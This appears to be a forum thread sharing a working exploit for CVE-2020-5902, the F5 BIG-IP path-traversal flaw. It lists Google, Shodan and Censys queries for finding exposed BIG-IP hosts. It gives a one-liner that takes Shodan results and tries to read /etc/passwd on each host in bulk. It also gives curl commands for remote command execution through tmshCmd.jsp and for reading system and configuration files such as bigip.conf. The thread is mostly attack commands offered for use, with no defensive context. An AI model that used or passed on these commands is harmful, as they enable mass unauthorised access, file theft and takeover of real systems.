CVE-2020-5902 Exploit

[punk404]

To Find F5 Instances

1. Try to use the following "googledorks":
   • inurl:"tmui/login.jsp"
   • intitle:"BIG-IP" inurl:"tmui"
2. Try to use the following queries for Shodan
   • F5-Login-Page
   • WWW-Authenticate: Basic realm=BIG-IP
   • BigIP
   • BIG-IP
   • http.favicon.hash:-335242539
   • http.title:"BIG-IP®- Redirect"
3. Try to use the following queries for Censys
   • 443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5
   • 443.https.get.title:"BIG-IP®- Redirect"

Find CVE-2020-5902 vulnerable instances with shodan search

shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done

Exploit
----------

https://F5 host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https://F5 host/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp
https://F5 host/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=AnyMsgHereWillBeReflectedInTheResponse

 

[phicker]

1. Check Vuln
--save to check.sh--
curl --silent --insecure 'https://[ip]/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=Vulnerable' | \grep -q Vulnerable && \printf '\033[0;31mVulnerable\n' || \printf '\033[0;32mNot Vulnerable\n'

2. RCE
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

3. ReadFile
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

-- read config--
https://[host]tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
https://[host]tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

 

[r1z]

http-vuln-cve2020-5902.nse

+

F5 BIG-IP Security Cheatsheet

 

[teferi]

Thanks for sharing this mate, appreciated